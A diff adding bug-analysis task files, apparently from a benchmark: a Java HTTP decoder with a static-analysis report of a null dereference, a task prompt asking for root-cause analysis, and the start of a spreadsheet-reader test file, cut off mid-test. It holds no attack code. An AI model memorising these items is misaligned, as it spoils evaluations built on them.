+			state = ENTITY_CHUNKED_EXTENSION_VALUE;
+		} else {
+			chunk.addExtension(chunkExtName, null);
+			state = ENTITY_CHUNKED_DATA;
+		}
+	}
+	
+	protected void state4ENTITY_CHUNKED_SIZE() throws ProtocolException {		
+		boolean done = skip(LF);
+		if (!done) { 
+			return; 
+		}
+		
+		// slice chunk size
+		String sizeStr = sliceBySeparators(0, SEMICOLON, CR);
+		if (sizeStr == null) {
+			return;
+		}
+		
+		int size = Integer.parseInt(sizeStr, 16);
+		if (size < 0) {
+			throw new ProtocolException(ProtocolExceptionType.UNEXPECTED, "chunked size < 0");
+		}
+		
+		chunk = new HttpChunk();
+		chunk.setSize(size);
+		
+		byte pb = previousByte();
+		if (SEMICOLON == pb) {
+			state = ENTITY_CHUNKED_EXTENSION_NAME;
+		} else if (size > 0){
+			state = ENTITY_CHUNKED_DATA;
+		} else if (size == 0) {
+			HttpHeader trailerHeader = httpMessage.getFirstHeader(HttpHeaders.TRAILER.getName());
+			httpMessage.setEntity(entity);
+			if (trailerHeader != null) {
+				trailerSize = trailerHeader.getValue().split(",").length;
+				if (trailerSize <= 0) {
+					throw new ProtocolException(ProtocolExceptionType.UNEXPECTED, "trailer size ilegal=" + trailerSize);
+				}
+				state = ENTITY_CHUNKED_TRAILER_NAME;
+			} else {
+				state = ENTITY_ENCODING;
+			}
+		}
+	}
+	
+	protected void state4ENTITY_LENGTH() throws ProtocolException {
+		// get content length
+		int clen = Integer.parseInt(httpMessage.getFirstHeader(HttpHeaders.CONTENT_LENGTH.getName()).getValue());
+		if (clen < 0) {
+			throw new ProtocolException(ProtocolExceptionType.UNEXPECTED, "content length < 0");
+		}
+		
+		// slice content value
+		byte[] content = sliceByLength(clen);
+		if (content == null) {
+			return;
+		}
+		
+		// render current request with entity
+		entity.setContent(content);
+		httpMessage.setEntity(entity);
+		
+		// to next state
+		state = ENTITY_ENCODING;
+	}
+	
+	protected void state4ENTITY() throws ProtocolException {
+		boolean done = skip(CR, LF);
+		if (!done) { 
+			return; 
+		}
+		
+		// content length
+		if (httpMessage.getFirstHeader(HttpHeaders.CONTENT_LENGTH.getName()) != null) {
+			entity = new HttpEntity();
+			entity.setCharset(getContentCharset(httpMessage));
+			state = ENTITY_LENGTH;
+		}
+		// chunked
+		else if (TRANSFER_ENCODING_CHUNKED.equals(httpMessage.getFirstHeader(HttpHeaders.TRANSFER_ENCODING.getName()).getValue())) {
+			entity = new HttpChunkEntity();
+			entity.setCharset(getContentCharset(httpMessage));
+			state = ENTITY_CHUNKED_SIZE;
+		}
+		// no entity
+		else {
+			state = END;
+		}
+	}
+	
+	protected void state4HEADER_VALUE_SUFFIX() throws ProtocolException {
+		byte cb = currentByte();
+		
+		// folded header
+		if (SP == cb || HT == cb) {
+			state = HEADER_VALUE_PREFIX;
+		}
+		// header end
+		else if (CR == cb) {
+			httpMessage.addHeader(header);
+			state = hasEntity(httpMessage) ? ENTITY : END;
+			slide(1);
+		}
+		// next header
+		else {
+			httpMessage.addHeader(header);
+			state = HEADER_NAME;
+		}
+	}
+	
+	protected void state4HEADER_VALUE() throws ProtocolException {
+		// slice header value
+		String value = sliceBySeparators(-1, LF);
+		if (value == null) {
+			return;
+		}
+		
+		header.appendValue(value);
+		
+		// to next state
+		byte cb = currentByte();
+		// has no next byte in buffer
+		if (NUL == cb) {
+			state = HEADER_VALUE_SUFFIX;
+		}
+		// folded header
+		else if (SP == cb || HT == cb) {
+			state = HEADER_VALUE_PREFIX;
+		}
+		// header end
+		else if (CR == cb) {
+			httpMessage.addHeader(header);
+			state = hasEntity(httpMessage) ? ENTITY : END;
+			slide(1);
+		}
+		// next header
+		else {
+			httpMessage.addHeader(header);
+		   state = HEADER_NAME;
+		}
+	}
+	
+	protected void state4HEADER_VALUE_PREFIX() throws ProtocolException {
+		// skip SP or HT 
+		boolean done = skip(SP, HT);
+		if (!done) { 
+			return; 
+		}
+		
+		// to next state
+		state = HEADER_VALUE;
+	}
+	
+	protected void state4HEADER_NAME() throws ProtocolException {
+		// slice header name
+		String name = sliceBySeparators(0, COLON);
+		if (name == null) { 
+			return; 
+		}
+		
+		header = new HttpHeader();
+		header.setName(name);
+		
+		// to next state
+		state = HEADER_VALUE_PREFIX;
+	}
+	
+	protected void reset() {
+		if (splitIndex > 0 && splitIndex < buf.length()) {
+			byte[] tailBytes = buf.array(splitIndex, buf.length());
+			buf.clear();
+			buf.append(tailBytes);
+			stateIndex -= splitIndex;
+			searchIndex = buf.length();
+			splitIndex = 0;
+		}
+		
+		if (splitIndex > 0 && splitIndex == buf.length()) {
+			buf.clear();
+			stateIndex = splitIndex = searchIndex = 0;
+		}
+		
+		if (buf.length() == 0 && buf.capacity() > maxSize * 2) {
+			buf.reset(defaultBufferSize);
+		}
+	}
+	
+	protected Charset getContentCharset(HttpMessage httpMessage) {
+		if (contentCharset != null) {
+			return contentCharset;
+		}
+		
+		HttpHeader contentTypeHeader = httpMessage.getFirstHeader(HttpHeaders.CONTENT_TYPE.getName());
+		if (contentTypeHeader == null) {
+			contentCharset =  charset;
+			return contentCharset;
+		}
+		
+		List<HttpHeaderValueElement> elements = contentTypeHeader.getValueElements();
+		if (elements.isEmpty()) {
+			contentCharset = charset;
+			return contentCharset;
+		}
+		
+		String charsetName = elements.get(0).getParamValue(HttpConstants.CONTENT_TYPE_CHARSET);
+		if (charsetName == null) {
+			contentCharset = charset;
+			return contentCharset;
+		}
+		
+		contentCharset = Charset.forName(charsetName);
+		return contentCharset;
+	}
+	
+	protected byte previousByte() {
+		int i = searchIndex - 1;
+		if ( i < buf.length()) {
+			return buf.byteAt(i);
+		} else {
+			return NUL;
+		}
+	}
+	
+	protected byte currentByte() {
+		int i = searchIndex;
+		if ( i < buf.length()) {
+			return buf.byteAt(i);
+		} else {
+			return NUL;
+		}
+	}
+	
+	protected byte nextByte() {
+		int i = searchIndex + 1;
+		if (i < buf.length()) {
+			return buf.byteAt(i);
+		} else {
+			return NUL;
+		}
+	}
+	
+	protected byte[] sliceByLength(int len) throws ProtocolException {
+		boolean done = false;
+		int offset = stateIndex;
+		int length = searchIndex - stateIndex;
+		if (len < length) {
+			throw new ProtocolException(ProtocolExceptionType.UNEXPECTED, "slice len=" + len + "< length=" + length); 
+		}
+		
+		int tailIndex = offset + len - 1;
+		if (tailIndex < buf.length()) {
+			stateIndex = searchIndex = tailIndex;
+			done = true;
+		} else {
+			searchIndex = buf.length();
+		}
+		
+		if (searchIndex > maxSize) { throw new ProtocolException(ProtocolExceptionType.MAX_SIZE_LIMIT, maxSize); }
+		
+		if (done) {
+			byte[] bytes = new byte[len];
+			System.arraycopy(buf.buffer(), offset, bytes, 0, len);
+			return bytes;
+		} else {
+			return null;	
+		}
+	}
+	
+	protected String sliceBySeparators(int shift, byte... separators) throws ProtocolException {
+		boolean done = false;
+		int offset = stateIndex;
+		int length = searchIndex - stateIndex;
+		for (int i = searchIndex; i < buf.length(); length++) {
+			if (length > maxLineLength) { throw new ProtocolException(ProtocolExceptionType.LINE_LENGTH_LIMIT, maxLineLength); }
+			
+			byte b = buf.byteAt(i);
+			searchIndex = ++i;
+			if (ByteUtil.indexOf(separators, b) >= 0) {
+				length = searchIndex - stateIndex - 1;
+				stateIndex = searchIndex;
+				done = true;
+				break;
+			}
+		}
+		
+		if (searchIndex > maxSize) { throw new ProtocolException(ProtocolExceptionType.MAX_SIZE_LIMIT, maxSize); }
+		
+		if (done) {
+			return new String(buf.buffer(), offset, length + shift, charset);
+		} else {
+			return null;	
+		}
+	}
+	
+	protected boolean skip(byte... bytes) throws ProtocolException {
+		boolean done = false;
+		int length = searchIndex - stateIndex;
+		while (searchIndex < buf.length()) {
+			byte cb = currentByte();
+			if (ByteUtil.indexOf(bytes, cb) < 0 && NUL != cb) {
+				done = true;
+				break;
+			}
+			slide(1);
+			length++;
+			if (length > maxSize) { throw new ProtocolException(ProtocolExceptionType.MAX_SIZE_LIMIT, maxSize); }
+		}
+		return done;
+	}
+	
+	protected void slide(int shift) throws ProtocolException {
+		stateIndex = searchIndex += shift;
+		if (searchIndex > maxSize) {
+			throw new ProtocolException(ProtocolExceptionType.MAX_SIZE_LIMIT, maxSize);
+		}
+	}
+	
+	protected void clear() {
+		contentCharset = null;
+		header = null;
+		entity = null;
+		chunk = null;
+		chunkExtName = null;
+		trailerSize = 0;
+		httpMessage = null;
+	}
+	
+	protected void resetIndex() {
+		searchIndex = splitIndex = stateIndex = 0;
+	}
+	
+	abstract boolean hasEntity(T httpMessage);
+	
+	// ~ ------------------------------------------------------------------------------------------------------------
+	
+	public int getMaxLineLength() {
+		return maxLineLength;
+	}
+
+	public void setMaxLineLength(int maxLineLength) {
+		this.maxLineLength = maxLineLength;
+	}
+
+	public int getState() {
+		return state;
+	}
+
+	public void setState(int state) {
+		this.state = state;
+	}
+	
+	public HttpHeader getHeader() {
+		return header;
+	}
+
+	public void setHeader(HttpHeader header) {
+		this.header = header;
+	}
+
+	public HttpEntity getEntity() {
+		return entity;
+	}
+
+	public void setEntity(HttpEntity entity) {
+		this.entity = entity;
+	}
+
+	public HttpChunk getChunk() {
+		return chunk;
+	}
+
+	public void setChunk(HttpChunk chunk) {
+		this.chunk = chunk;
+	}
+
+	public String getChunkExtName() {
+		return chunkExtName;
+	}
+
+	public void setChunkExtName(String chunkExtName) {
+		this.chunkExtName = chunkExtName;
+	}
+
+	@Override
+	public String toString() {
+		return String
+				.format("HttpDecoder [stateIndex=%s, state=%s, maxLineLength=%s, contentCharset=%s, header=%s, entity=%s, chunk=%s, chunkExtName=%s, trailerSize=%s, httpMessage=%s, defaultBufferSize=%s, buf=%s, splitIndex=%s, searchIndex=%s, maxSize=%s, charset=%s]",
+						stateIndex, state, maxLineLength, contentCharset,
+						header, entity, chunk, chunkExtName, trailerSize,
+						httpMessage, defaultBufferSize, buf, splitIndex,
+						searchIndex, maxSize, charset);
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `HttpDecoder.httpMessage.getFirstHeader(org.craft.atom.protocol.http.model.HttpHeaders.CONTENT_LENGTH.getName())` could be null and is dereferenced at line 296.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HttpDecoder.state4ENTITY_LENGTH()
+
+### Procedure Id:
+org.craft.atom.protocol.http.HttpDecoder.state4ENTITY_LENGTH():void.c4a8df0455a2d5af1ab1c7fccb0746d1
+
+### File:
+craft-atom-protocol-http/src/main/java/org/craft/atom/protocol/http/HttpDecoder.java
+
+### Key:
+HttpDecoder.java|state4ENTITY_LENGTH|NULL_DEREFERENCE
+
+### Node Key:
+9140dff8bf7cd03886d368c0c0c52aa5
+
+### Hash:
+81814cecd0968bdd6ef0df8ad7ada9ea
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9558/instruction.md b/inferredbugs-9558/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3a43eeab5312506028a4f1a311aa50e4944eeb43
--- /dev/null
+++ b/inferredbugs-9558/instruction.md
@@ -0,0 +1,739 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** excel-streaming-reader
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.monitorjbl.xlsx;
+
+import com.monitorjbl.xlsx.exceptions.MissingSheetException;
+import org.apache.poi.openxml4j.opc.OPCPackage;
+import org.apache.poi.openxml4j.opc.PackageAccess;
+import org.apache.poi.ss.usermodel.Cell;
+import org.apache.poi.ss.usermodel.DateUtil;
+import org.apache.poi.ss.usermodel.Row;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+public class StreamingReaderTest {
+  @BeforeClass
+  public static void init() {
+    Locale.setDefault(Locale.ENGLISH);
+  }
+
+  @Test
+  public void testTypes() throws Exception {
+    SimpleDateFormat df = new SimpleDateFormat("MM/dd/yyyy");
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/data_types.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(7, obj.size());
+      List<Cell> row;
+
+      row = obj.get(0);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(1).getCellType());
+      assertEquals("Type", row.get(0).getStringCellValue());
+      assertEquals("Type", row.get(0).getRichStringCellValue().getString());
+      assertEquals("Value", row.get(1).getStringCellValue());
+      assertEquals("Value", row.get(1).getRichStringCellValue().getString());
+
+      row = obj.get(1);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(1).getCellType());
+      assertEquals("string", row.get(0).getStringCellValue());
+      assertEquals("string", row.get(0).getRichStringCellValue().getString());
+      assertEquals("jib-jab", row.get(1).getStringCellValue());
+      assertEquals("jib-jab", row.get(1).getRichStringCellValue().getString());
+
+      row = obj.get(2);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_NUMERIC, row.get(1).getCellType());
+      assertEquals("int", row.get(0).getStringCellValue());
+      assertEquals("int", row.get(0).getRichStringCellValue().getString());
+      assertEquals(10, row.get(1).getNumericCellValue(), 0);
+
+      row = obj.get(3);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_NUMERIC, row.get(1).getCellType());
+      assertEquals("double", row.get(0).getStringCellValue());
+      assertEquals("double", row.get(0).getRichStringCellValue().getString());
+      assertEquals(3.14, row.get(1).getNumericCellValue(), 0);
+
+      row = obj.get(4);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_NUMERIC, row.get(1).getCellType());
+      assertEquals("date", row.get(0).getStringCellValue());
+      assertEquals("date", row.get(0).getRichStringCellValue().getString());
+      assertEquals(df.parse("1/1/2014"), row.get(1).getDateCellValue());
+      assertTrue(DateUtil.isCellDateFormatted(row.get(1)));
+
+      row = obj.get(5);
+      assertEquals(7, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(1).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(2).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(3).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(4).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(5).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(6).getCellType());
+      assertEquals("long", row.get(0).getStringCellValue());
+      assertEquals("long", row.get(0).getRichStringCellValue().getString());
+      assertEquals("ass", row.get(1).getStringCellValue());
+      assertEquals("ass", row.get(1).getRichStringCellValue().getString());
+      assertEquals("row", row.get(2).getStringCellValue());
+      assertEquals("row", row.get(2).getRichStringCellValue().getString());
+      assertEquals("look", row.get(3).getStringCellValue());
+      assertEquals("look", row.get(3).getRichStringCellValue().getString());
+      assertEquals("at", row.get(4).getStringCellValue());
+      assertEquals("at", row.get(4).getRichStringCellValue().getString());
+      assertEquals("it", row.get(5).getStringCellValue());
+      assertEquals("it", row.get(5).getRichStringCellValue().getString());
+      assertEquals("go", row.get(6).getStringCellValue());
+      assertEquals("go", row.get(6).getRichStringCellValue().getString());
+
+      row = obj.get(6);
+      assertEquals(3, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_BOOLEAN, row.get(1).getCellType());
+      assertEquals(Cell.CELL_TYPE_BOOLEAN, row.get(2).getCellType());
+      assertEquals("boolean", row.get(0).getStringCellValue());
+      assertEquals("boolean", row.get(0).getRichStringCellValue().getString());
+      assertEquals(true, row.get(1).getBooleanCellValue());
+      assertEquals(false, row.get(2).getBooleanCellValue());
+    }
+  }
+
+  @Test
+  public void testGetDateCellValue() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/data_types.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      Date dt = obj.get(4).get(1).getDateCellValue();
+      assertNotNull(dt);
+      final GregorianCalendar cal = new GregorianCalendar();
+      cal.setTime(dt );
+      assertEquals(cal.get(Calendar.YEAR), 2014);
+
+      try {
+        obj.get(0).get(0).getDateCellValue();
+        fail("Should have thrown IllegalStateException");
+      } catch(IllegalStateException e) { }
+    }
+  }
+  @Test
+  public void testGetDateCellValue1904() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/1904Dates.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      Date dt = obj.get(1).get(5).getDateCellValue();
+      assertNotNull(dt);
+      final GregorianCalendar cal = new GregorianCalendar();
+      cal.setTime(dt );
+      assertEquals(cal.get(Calendar.YEAR), 1991);
+
+      try {
+        obj.get(0).get(0).getDateCellValue();
+        fail("Should have thrown IllegalStateException");
+      } catch(IllegalStateException e) { }
+    }
+  }
+
+  @Test
+  public void testGetFirstCellNum() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/gaps.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+
+      List<List<Cell>> obj = new ArrayList<>();
+      List<Row> rows = new ArrayList<>();
+      for(Row r : reader) {
+        rows.add(r);
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(3, rows.size());
+      assertEquals(3, rows.get(2).getFirstCellNum());
+    }
+  }
+
+  @Test
+  public void testGaps() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/gaps.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(3, obj.size());
+      List<Cell> row;
+
+      row = obj.get(0);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(1).getCellType());
+      assertEquals("Dat", row.get(0).getStringCellValue());
+      assertEquals("Dat", row.get(0).getRichStringCellValue().getString());
+      assertEquals(0, row.get(0).getColumnIndex());
+      assertEquals(0, row.get(0).getRowIndex());
+      assertEquals("gap", row.get(1).getStringCellValue());
+      assertEquals("gap", row.get(1).getRichStringCellValue().getString());
+      assertEquals(2, row.get(1).getColumnIndex());
+      assertEquals(0, row.get(1).getRowIndex());
+
+      row = obj.get(1);
+      assertEquals(2, row.size());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(0).getCellType());
+      assertEquals(Cell.CELL_TYPE_STRING, row.get(1).getCellType());
+      assertEquals("guuurrrrrl", row.get(0).getStringCellValue());
+      assertEquals("guuurrrrrl", row.get(0).getRichStringCellValue().getString());
+      assertEquals(0, row.get(0).getColumnIndex());
+      assertEquals(6, row.get(0).getRowIndex());
+      assertEquals("!", row.get(1).getStringCellValue());
+      assertEquals("!", row.get(1).getRichStringCellValue().getString());
+      assertEquals(6, row.get(1).getColumnIndex());
+      assertEquals(6, row.get(1).getRowIndex());
+    }
+  }
+
+  @Test
+  public void testMultipleSheets_alpha() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/sheets.xlsx"));
+        StreamingReader reader = StreamingReader.builder()
+            .sheetIndex(0)
+            .read(is);
+    ) {
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(1, obj.size());
+      List<Cell> row;
+
+      row = obj.get(0);
+      assertEquals(1, row.size());
+      assertEquals("stuff", row.get(0).getStringCellValue());
+      assertEquals("stuff", row.get(0).getRichStringCellValue().getString());
+    }
+  }
+
+  @Test
+  public void testMultipleSheets_zulu() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/sheets.xlsx"));
+        StreamingReader reader = StreamingReader.builder()
+            .sheetIndex(1)
+            .read(is);
+    ) {
+
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(1, obj.size());
+      List<Cell> row;
+
+      row = obj.get(0);
+      assertEquals(1, row.size());
+      assertEquals("yeah", row.get(0).getStringCellValue());
+      assertEquals("yeah", row.get(0).getRichStringCellValue().getString());
+    }
+  }
+
+  @Test
+  public void testSheetName_zulu() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/sheets.xlsx"));
+        StreamingReader reader = StreamingReader.builder()
+            .sheetName("SheetZulu")
+            .read(is);
+    ) {
+
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(1, obj.size());
+      List<Cell> row;
+
+      row = obj.get(0);
+      assertEquals(1, row.size());
+      assertEquals("yeah", row.get(0).getStringCellValue());
+      assertEquals("yeah", row.get(0).getRichStringCellValue().getString());
+    }
+  }
+
+  @Test
+  public void testSheetName_alpha() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/sheets.xlsx"));
+        StreamingReader reader = StreamingReader.builder()
+            .sheetName("SheetAlpha")
+            .read(is);
+    ) {
+      List<List<Cell>> obj = new ArrayList<>();
+
+      for(Row r : reader) {
+        List<Cell> o = new ArrayList<>();
+        for(Cell c : r) {
+          o.add(c);
+        }
+        obj.add(o);
+      }
+
+      assertEquals(1, obj.size());
+      List<Cell> row;
+
+      row = obj.get(0);
+      assertEquals(1, row.size());
+      assertEquals("stuff", row.get(0).getStringCellValue());
+      assertEquals("stuff", row.get(0).getRichStringCellValue().getString());
+    }
+  }
+
+  @Test(expected = MissingSheetException.class)
+  public void testSheetName_missingInStream() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/sheets.xlsx"));
+        StreamingReader reader = StreamingReader.builder()
+            .sheetName("adsfasdfasdfasdf")
+            .read(is);
+    ) {
+      fail("Should have failed");
+    }
+  }
+
+  @Test
+  public void testSheetName_missingInFile() throws Exception {
+    File f = new File("src/test/resources/sheets.xlsx");
+    try(
+        StreamingReader reader = StreamingReader.builder()
+            .sheetName("adsfasdfasdfasdf")
+            .read(f);
+    ) {
+      fail("Should have failed");
+    } catch(MissingSheetException e) {
+      assertTrue(f.exists());
+    }
+  }
+
+  @Test
+  public void testIteration() throws Exception {
+    File f = new File("src/test/resources/large.xlsx");
+    try(
+        StreamingReader reader = StreamingReader.builder()
+            .rowCacheSize(5)
+            .read(f)) {
+      int i = 1;
+      for(Row r : reader) {
+        assertEquals(i, r.getCell(0).getNumericCellValue(), 0);
+        assertEquals("#" + i, r.getCell(1).getStringCellValue());
+        assertEquals("#" + i, r.getCell(1).getRichStringCellValue().getString());
+        i++;
+      }
+    }
+  }
+
+  @Test
+  public void testLeadingZeroes() throws Exception {
+    File f = new File("src/test/resources/leadingZeroes.xlsx");
+
+    try(StreamingReader reader = StreamingReader.builder().read(f)) {
+      Iterator<Row> iter = reader.iterator();
+      iter.hasNext();
+
+      Row r1 = iter.next();
+      assertEquals(1, r1.getCell(0).getNumericCellValue(), 0);
+      assertEquals("1", r1.getCell(0).getStringCellValue());
+      assertEquals(Cell.CELL_TYPE_NUMERIC, r1.getCell(0).getCellType());
+
+      Row r2 = iter.next();
+      assertEquals(2, r2.getCell(0).getNumericCellValue(), 0);
+      assertEquals("0002", r2.getCell(0).getStringCellValue());
+      assertEquals("0002", r2.getCell(0).getRichStringCellValue().getString());
+      assertEquals(Cell.CELL_TYPE_STRING, r2.getCell(0).getCellType());
+    }
+  }
+
+  @Test
+  public void testReadingEmptyFile() throws Exception {
+    File f = new File("src/test/resources/empty_sheet.xlsx");
+
+    try(StreamingReader reader = StreamingReader.builder().read(f)) {
+      Iterator<Row> iter = reader.iterator();
+      assertThat(iter.hasNext(), is(false));
+    }
+  }
+
+  @Test
+  public void testSpecialStyles() throws Exception {
+    File f = new File("src/test/resources/special_types.xlsx");
+
+    Map<Integer, List<Cell>> contents = new HashMap<>();
+    try(StreamingReader reader = StreamingReader.builder().read(f)) {
+      for(Row row : reader) {
+        contents.put(row.getRowNum(), new ArrayList<Cell>());
+        for(Cell c : row) {
+          if(c.getColumnIndex() > 0) {
+            contents.get(row.getRowNum()).add(c);
+          }
+        }
+      }
+    }
+
+    SimpleDateFormat df = new SimpleDateFormat("dd/MM/yyyy");
+
+    assertThat(contents.size(), equalTo(2));
+    assertThat(contents.get(0).size(), equalTo(4));
+    assertThat(contents.get(0).get(0).getStringCellValue(), equalTo("Thu\", \"Dec 25\", \"14"));
+    assertThat(contents.get(0).get(0).getDateCellValue(), equalTo(df.parse("25/12/2014")));
+    assertThat(contents.get(0).get(1).getStringCellValue(), equalTo("02/04/15"));
+    assertThat(contents.get(0).get(1).getDateCellValue(), equalTo(df.parse("04/02/2015")));
+    assertThat(contents.get(0).get(2).getStringCellValue(), equalTo("14\". \"Mar\". \"2015"));
+    assertThat(contents.get(0).get(2).getDateCellValue(), equalTo(df.parse("14/03/2015")));
+    assertThat(contents.get(0).get(3).getStringCellValue(), equalTo("2015-05-05"));
+    assertThat(contents.get(0).get(3).getDateCellValue(), equalTo(df.parse("05/05/2015")));
+
+    assertThat(contents.get(1).size(), equalTo(4));
+    assertThat(contents.get(1).get(0).getStringCellValue(), equalTo("3.12"));
+    assertThat(contents.get(1).get(0).getNumericCellValue(), equalTo(3.12312312312));
+    assertThat(contents.get(1).get(1).getStringCellValue(), equalTo("1,023,042"));
+    assertThat(contents.get(1).get(1).getNumericCellValue(), equalTo(1023042.0));
+    assertThat(contents.get(1).get(2).getStringCellValue(), equalTo("-312,231.12"));
+    assertThat(contents.get(1).get(2).getNumericCellValue(), equalTo(-312231.12123145));
+    assertThat(contents.get(1).get(3).getStringCellValue(), equalTo("(132)"));
+    assertThat(contents.get(1).get(3).getNumericCellValue(), equalTo(-132.0));
+  }
+
+  @Test
+  public void testBlankNumerics() throws Exception {
+    File f = new File("src/test/resources/blank_cells.xlsx");
+    try(StreamingReader reader = StreamingReader.builder().read(f)) {
+      Row row = reader.iterator().next();
+      assertThat(row.getCell(1).getStringCellValue(), equalTo(""));
+      assertThat(row.getCell(1).getRichStringCellValue().getString(), equalTo(""));
+      assertThat(row.getCell(1).getDateCellValue(), is(nullValue()));
+      assertThat(row.getCell(1).getNumericCellValue(), equalTo(0.0));
+    }
+  }
+
+  @Test
+  public void testFirstRowNumIs0() throws Exception {
+    File f = new File("src/test/resources/data_types.xlsx");
+    try(StreamingReader reader = StreamingReader.builder().read(f)) {
+      Row row = reader.iterator().next();
+      assertThat(row.getRowNum(), equalTo(0));
+    }
+  }
+
+  @Test
+  public void testNoTypeCell() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/no_type_cell.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);) {
+      for(Row r : reader) {
+        for(Cell c : r) {
+          assertEquals("1", c.getStringCellValue());
+        }
+      }
+    }
+  }
+
+  @Test
+  public void testEncryption() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/encrypted.xlsx"));
